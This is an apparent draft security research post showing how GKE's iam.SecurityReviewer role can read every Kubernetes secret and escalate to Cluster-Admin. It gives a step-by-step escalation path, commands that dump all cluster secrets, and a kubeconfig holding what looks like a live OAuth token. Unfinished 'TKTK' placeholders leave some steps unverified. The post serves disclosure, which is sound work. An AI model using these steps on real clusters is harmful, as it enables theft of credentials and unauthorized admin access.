Dangers of Kubernetes IAM Integrations
iam.SecurityReviewer role over-grants permissions into the Kubernetes cluster.GKE iam.SecurityReviewer
iam.SecurityReviewer role provided by Google Cloud is normally designed to provide a level of access to review and audit your cloud environment but should not grant permission to modify or reconfigure the components themselves. Often this is given to automated tools like ScoutSuite or to penetration testers during an assessment. The documentation states that it:Provides permissions to list all resources and Cloud IAM policies on them.
kube-api. A “List” permission is designed so that you can list all the objects of that type in the cluster. This iam.SecurityReviewer role for example should be able to “List” all the cluster’s secrets but you shouldn’t be able to “Get” the secret themselves because you could simply steal secrets that would grant heightened access to your account.iam.SecurityReviewer role to list the secrets and show that there is a service account named “cluster-admin-token”: > kubectl get secrets -n kube-system NAME TYPE DATA AGE cluster-admin-token kubernetes.io/service-account-token 3 1d
> kubectl get secret cluster-admin-token -n kube-system` Error from server (Forbidden): secrets "cluster-admin-token" is forbidden: User "security-reviewer@shmoocon-talk-hacking.iam.gserviceaccount.com" cannot get resource "secrets" in API group "" in the namespace "kube-system": requires one of ["container.secrets.get"] permission(s).
>kubectl get secrets -o yaml
apiVersion: v1
items:
- apiVersion: v1
data:
ca.crt: <omittedd>
namespace: a3ViZS1zeXN0ZW0K
token: <omitted>
kind: Secret
...
kube-system and use that to mint your own tokens that grant full access. The results are the same.Kubernetes List and Get Verbs
kube-api verb and a “List”.GET /apis/apps/v1/namespaces/kube-system/secrets/cluster-admin-tokenFor a “List” request, you’ll notice the call looks very similar except that the request isn’t for an individual object, but a group of them.
GET /apis/apps/v1/namespaces/kube-system/secrets
The response returned in a “List” request will include all the same manifests of the “Get” verb. This means there is a permission control to restrict “Get” vs “List” but they effectively have no meaning and can’t be relied upon for security. TKTKI’m using Strong works here. Can someone verifyTKTK
Using iam.SecurityReviewer With Kubeconfig
While all of the above is accurate, in practice, there’s a step that’s missing. The iam.SecurityReviewer role does not have the GCloud IAM permission to “Get” credentials. If you have permissions, you would normally run a command like this:
> gcloud container clusters get-credentials cluster-1
This will go out to the “cluster-1” GKE cluster and pull down necessary information to put into your kubeconfig file so that you can run kubectl commands. It’s a interesting command because gcloud-credential-helper will also make sure that your token is regularly updated in the background.
Here’s an excerpt of what your kubeconfig may look like:
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURDekNDQWZPZ0F3SUJBZ0lRYndublIvTjVyRVlLSlF5NjRHeFU0ekFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlSaVpETXpObUkzWWkwd1l6Y3hMVFF5TW1ZdE9XRmpOUzFrT0Rrd05HUXpZMll4TVRrdwpIaGNOTWpBd05UQTNNVE14TWpVNFdoY05NalV3TlRBMk1UUXhNalU0V2pBdk1TMHdLd1lEVlFRREV5UmlaRE16Ck5tSTNZaTB3WXpjeExUUXlNbVl0T1dGak5TMWtPRGt3TkdRelkyWXhNVGt3Z2dFaU1BMEdDU3FHU0liM0RRRUIKQVFVQUE0SUJEd0F3Z2dFS0FvSUJBUURHQmNYSTk3Z3cyclpxUkd0Y0IvRitDUUpmN0NDeE9zbjNaRUdnbzNiQgpiRUZGTmo1WHJsejg4QkY3NzhyTWMvdFF2R2JwZjIwNnR4ME9pRk9zZzJwTU4zMnZUZ2pMVGI0WVBTUGJCZUNOCnlXNTVLSVBVUHhZYi9VeDBITnFmV0g3RUlubUl4Q3FFdzZlNXlDUmdDcS92aWpkaGNJWkowTGFpODhRdlhHdHcKUlVSZWtCS1QxbXhiZk9CNE1IcEhvaHNBbjZ0TUtMWDFKYVV3TlRZVWh3RE83YUpKZEVieWJCSWxWRGE3VFVOMwozNWUwY2xiRjR1TDdGd2NKWUJkdzRhTCtIRkpZNG5Md0tadW9GS29vV3BEZGhXVzRLUndiZ2xMMVJ3Y0RWR09qCjRwajlZcGJPM2d2T3ovZnZ1d0c0MC9pZXNWOURIaklLSGxURzAvMEdwUHlkQWdNQkFBR2pJekFoTUE0R0ExVWQKRHdFQi93UUVBd0lDQkRBUEJnTlZIUk1CQWY4RUJUQURBUUgvTUEwR0NTcUdTSWIzRFFFQkN3VUFBNElCQVFDOApUUlFOMXZaWTUwbU4zWGhxSTJETFdFcEgrWTBlUlBrd0JmdkVoNWpIREkrRmJvV1pZc2lva1ErOURzaXVNMitRCldOUTc2TDlwQ2JXOThlejFJb1pwSjBoRkRPS1dzclVCb1F6R3ZHMDM0S3FHbCtVU3hYUnBaOUd6QWFsV1JpSXoKYTAzRFgzME1jaVBEMXhJaGg1ZTNYNVhORXd6VThqdUNSUFQxSUpaVmRKMzFrNmNUSEZ5c2hnUEhXUzAxRUt6ago2MjlFTXplQTRnZ25UZTB4TDI2eGxHVzRYY0hMckJPL0lVRkVUVEd2enNydkhDenhQOCtObVNuRktwQ1Q3YkNYClNsam1IZUZTU2VyQzR3cFBLWWNwOWx0QjFKRGZicVRSc05rVTVqSFhrMUFBZnJDSWx3K3JIcUZoNHNEeGlQNFQKRzNZODFKZ25qTlZMNXh0aGpTZWsKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
server: https://34.68.152.127
name: gke_hacking-poc_us-central1-c_cluster-1
...
users:
- name: gke_hacking-poc_us-central1-c_cluster-1
user:
auth-provider:
config:
access-token: ya29.c.KpYByQcy8QbvVbpJD6OXVYJRfB_q4SOZrhH9oA0VebhJtWgXnGq9oYqTn27S3yyMR5-UEckApAkkm_g-18FOlPDfefwznZq7Lu_w-uORu9jiw378UXDeOvGtHBitCteg2scp24KSeNAs2xLHcUTTDszijCIoUNTLppkGk1P5AJf-wbp5iZdDKP4v8bW32sVSNJmYMkBxKOuU
cmd-args: config config-helper --format=json
cmd-path: /usr/lib/google-cloud-sdk/bin/gcloud
expiry: "2020-05-07T17:41:43Z"
expiry-key: '{.credential.token_expiry}'
token-key: '{.credential.access_token}'
name: gcp
There are 3 key pieces here that we need to pay attention to:
- Server IP: In GKE, this is often a public IP to access the kube-api
- Access Token: This is an OAuth2 token for your gcloud account.
- Certificate Authority: The certificate authority your Kubernetes cluster uses (you can also choose to not validate the CA).
With only the iam.SecurityReviewer role, our accounts have permission to list our clusters and obtain the Server IP.
> gcloud container clusters list
TKTK SHOW RESULTSFrom this IP we can get the certificate authority using openssl
> openssl s_client -connect {CLUSTER-IP}:443 | openssl x509 -pubkey -noout TKTKVERIFY
Finally, we need to get the access token. Our role has permission to get this so we can either run a command like this:
> gcloud auth application-default print-access-token
TKTK Josh?
With these 3 pieces we can build our Kubeconfig file manually without the need for gcloud to “get-credentials” since we don’t have permission to do that:
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: {BASE64-ENCODED-CA}
server: https://{KUBE-API-IP}
name: gke_hacking-poc_us-central1-c_cluster-1
...
users:
- name: gke_hacking-poc_us-central1-c_cluster-1
user:
auth-provider:
config:
access-token: {OAUTH2-ACCESS-TOKEN}
cmd-args: config config-helper --format=json
cmd-path: /usr/lib/google-cloud-sdk/bin/gcloud
expiry: "2020-05-07T17:41:43Z"
expiry-key: '{.credential.token_expiry}'
token-key: '{.credential.access_token}'
name: gcp
This configures our kubectl so that we can now access the secrets.
Putting It All Together
To summarize, here are the steps to going from iam.SecurityReviewer to Cluster-Admin in GKE:
- Be granted the
iam.SecurityReviewerrole and configuredgcloud - Discover the Cluster IP by listing the clusters via
gcloud - Grab your OAuth2 token either from a
gcloudcommand or from the environment variable - Fill out the template Kubeconfig file to grant permission to query the cluster via
kubectl - Extract all the secrets from the cluster with
kubectl get secrets --all-namespaces -o yaml > all_cluster_secrets.yaml - Extract a secret with elevated permissions and build a new Kubeconfig file context to now access the cluster with Cluster-Admin permissions
Results
We are demonstrating how the iam.SecurityReviewer role has a difficult task trying to restrict access to a GKE cluster because Kubernetes provides often misinterpreted API controls. We demonstrated how some of the constraints for how gcloud will control authentication and ways to get around it. One of points we’d like to again emphasize is that the Kubernetes Secrets API returns the secrets even if you only have “List” permissions so while we’re directing our attention at Google’s GKE platform, the Kubernetes API has to share some blame here. If Kubernetes differentiates between a “List” permission and a “Get” permission, it should make sure that the results of a List do not return full manifests the same as a Get.
As more cloud providers aim to tackle integrating the cloud IAM services to match up with their managed Kubernetes clusters’ permissions, they will continue to run into these problems. In a future post, Jack Leadford will be discussing some security challenges of kube2iam.